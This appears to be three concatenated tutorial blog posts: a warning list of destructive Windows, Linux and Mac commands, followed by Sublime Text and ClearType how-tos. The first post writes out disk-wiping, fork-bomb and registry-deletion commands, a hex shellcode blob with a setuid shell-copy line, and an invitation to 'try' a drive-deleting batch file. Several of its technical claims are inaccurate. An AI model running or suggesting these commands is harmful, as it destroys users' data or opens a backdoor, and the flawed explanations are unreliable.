Some of the most threatening commands

rm -Rf / (GNU/Linux, BSD, Mac)

Look, regarding GNU/Linux, there is a really classic example. Indeed, this command has earned its reputation as dangerous, with good reason. In effect, this command deletes each directory on your hard disk, starting from the root directory (/). Let’s see what it is:

rm -Rf /

Plain and simple, it erases everything completely. To avoid this, several distributions have an alias configured by default. Therefore, when we start rm, we are actually accessing rm -i. Consequently, Bash will ask us to confirm that we really want to perform the deletion.

It also has a variant that only deletes our user folder. Therefore, it also deletes all the configuration files that reside there: rm –rf ~.

mkfs.ext4 /dev/sda (Linux, BSD, Mac)

If using an EXT4 file system, the following command is not unlike the typical DOS/Windows ‘format C:’. In effect, it formats and takes everything with it.

mkfs.ext4 /dev/sda

But, instead of formatting the entire file hierarchy, as above, it focuses on a specific media drive. This drive can be /dev/sda or other.

shred /dev/sda (Linux, BSD, Mac)

Certainly, the above commands are very dangerous. But at least, once run, they allow you to resort to file recovery tools with a good chance of success. However, there is another much less known command that can erase all files on a hard disk with no possible solution:

shred /dev/sda

Shred is a tool that not only deletes content. In fact, it also destroys. In other words, it does not just delete a file from the file table, but overwrites dozens of times the physical space it occupies. Consequently, it makes it totally unrecoverable.

dd if=/dev/random of=/dev/sda (Linux, BSD, Mac)

DD is a tool that is often used to clone disks to create backups. But, used for other purposes, it can cause us to have to resort to them. As in this example:

dd if=/dev/random of=/dev/sda

Let’s take it one step at a time. dev/random is the name of a virtual device that Unix uses as a random number generator. Specifically, what this command does is to copy the contents of that device to the primary hard disk. Consequently, its effect will be the same as using shred /dev/sda, although much slower.

mv / /dev/null (Linux, BSD, Mac)

These virtual devices are much more dangerous than they look. Indeed, dev/random is not the only one of its kind that can give us headaches. Watch out for the following command and what it can do:

mv / /dev/null

What does this command do? Specifically, it moves the contents of (i.e., the entire contents of the system) to the virtual device /dev/null. Before we continue, we want to emphasize that it moves the contents, not copies them. The problem is that /dev/null is the Nothing, it does not exist. To put it graphically, it is a kind of computer black hole. Consequently, any piece of information we throw in there is lost, never to return. Do you realize how serious this is?

:(){ :|:& };: (Linux, BSD, Mac)

Fortunately, the above commands can be read relatively easily. In other words, it is enough to know something about Unix or elements of the language, for an alarm signal to go off. The problem is when a command doesn’t look like one at all. Let’s look at the following example:

:(){ :|:& };:

Introducing the Fork bomb command. Its function is to define and execute a function that recursively calls itself infinitely. Basically, it does nothing by itself. Apart from executing itself so many times that it ends up exhausting the available memory and forcing us to reboot the device.

Hexadecimal commands (Linux, BSD, Mac)

It is possible to convert a command (any) written in normal text mode to hexadecimal format. Consequently, we will not be able to read it. Strictly speaking, what we will not be able to understand it. However, if we tell the system to reconvert and execute the hexadecimal string, it will be as if we were executing the original command directly. Thus, there is no difference between typing rm -Rf / and the following:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00”

"cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;";

rd/s/q/ C:\ (Windows)

Let’s see a command that for Windows is basically equivalent to the ‘rm -Rf’ of Linux, Mac, and others:

rd/s/q/ C:\

However, there is a difference here. It will only erase data from a specific logical drive (in the example, C:), but not from the whole system. The difference, of course, will only be relevant if we have more than one drive in the system.

Blue Screen of Death command (Windows)

At this point, we are getting a little more creative. You remember the classic blue screens of death in Windows. You probably do, and not in a good way. But if you want to feel a little nostalgic, you can try this command:

@echo off

delete %systemdrive%*.* /f /s

Fortunately, copying and pasting into cmd is not enough. In fact, both lines must be saved as a text file with a .BAT extension, equivalent to Linux .SH.

Registry Deletion (Windows)

Another set of commands to be executed one after the other using a BAT file:

@echo off

START reg delete HKC/.EXE

START reg delete HKCR.dll

START reg delete HKCR/*

With this command, we will completely delete the registry. Consequently, the system will become basically unusable. Okay, so we have seen the ten most dangerous text commands for Windows, Linux, and Mac. Bye

The post Top ten most dangerous text commands for Windows, GNU/Linux, and Mac appeared first on Linux Windows and android Tutorials.

Sublime Text is a cross-platform code editor that stands out for being lightweight but very modern. It is specially designed to write without distractions, that is to say, its interface and color scheme makes our attention to the code.

Also, Sublime Text’s syntax highlighting system supports a large number of languages (C, C++, HTML, PHP, Ruby, Go, Rust, Java, Python, and many more) which allows us to use it for almost any code.

Sublime Text supports macros, snippets, and auto-completion, among other features, but it also has support for plugins which allows for much more.

Although it is not free, we can install it at no cost and the application does not lose any functionality. So we can use it both in learning environments as in other more professional ones.

Install Sublime Text on Debian 11

There are a few different ways to install Sublime Text on Debian 11. The first is by using the official repository provided by the developers.

So, open a terminal and update Debian 11.

sudo apt update
sudo apt upgrade

After that, download the GPG key from the repository for the system to recognize it as safe.

wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add -
OK

Next, add the Sublime Text repository to the system with the following command

echo "deb https://download.sublimetext.com/ apt/stable/" | sudo tee /etc/apt/sources.list.d/sublime-text.list
deb https://download.sublimetext.com/ apt/stable

As you can see we are using the stable channel. This is recommended if we don’t want to have any surprises. However, if you are very enthusiastic, you can join the dev channel by adding this repository instead of the stable one.

echo "deb https://download.sublimetext.com/ apt/dev/" | sudo tee /etc/apt/sources.list.d/sublime-text.list

In any case, the next step is to update APT, the Ubuntu and Debian package manager.

sudo apt update

Now, install Sublime Text by running the following command

sudo apt-get install sublime-text
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  sublime-text
0 upgraded, 1 newly installed, 0 to remove and 5 not upgraded.
Need to get 16.2 MB of archives.
After this operation, 49.1 MB of additional disk space will be used.

Then, you can run it from the main menu without any problem.

Another way to install Sublime Text on Debian 11

Alternatively, you can download a precompiled binary for Linux that works on almost all distributions. To do so, go to the project’s website, and in the download section, choose the 64-bit (x86-64) portable one

Then a package will be downloaded and you will have to unzip it using the file browser.

And finally, run it by double-clicking on the binary file named sublime_text and the application will start.

Deinstall Sublime Text on Debian 11

If you no longer want to use Sublime Text then the best thing to do is to uninstall it.

If you installed Sublime Text using the first method, then uninstall it by running

sudo apt remove sublime-text

And remove the added repository as well

sudo rm /etc/apt/sources.list.d/sublime-text.list

But if you installed the portable, just delete the archive and the folder that was generated after unzipping it.

That’s enough.

Conclusion

Sublime Text is an editor that will help us with writing code in many languages. It has a lot of interesting features and innovations that make it a vital tool for many people. In this post, you learned how to install it on Debian 11.

The post Install Sublime Text on Debian 11 appeared first on Linux Windows and android Tutorials.

How to enable ClearType in Windows 10

We advise you to create a restore point, in case something goes wrong. If you don’t know how to do it, check our tutorial. Next, enter ClearType in the search box. With this in mind, you can press the Win+Q combination. Or simply click on the search icon or button.

A floating window will be displayed immediately. There is also a checkbox there. Accordingly, just check or uncheck it. If you check it, the ClearType configuration will start.

If you have several monitors connected, you will be prompted to configure them all. Or simply configure the current monitor. Additionally, it is necessary to set the monitor to its native resolution. Finally, click next.

The ClearType tuner will then display several text samples. Please choose the one that looks best.

Please remember to repeat the process with all the proposed text blocks.

Also, if you have enabled ClearType for all monitors, then you must repeat the process for each one. Otherwise, just click finish and restart the computer to save the changes.

All right, we have finally seen how to enable ClearType in Windows 10. You will surely notice better-looking text on your system. See you later!

The post How to enable ClearType in Windows 10 appeared first on Linux Windows and android Tutorials.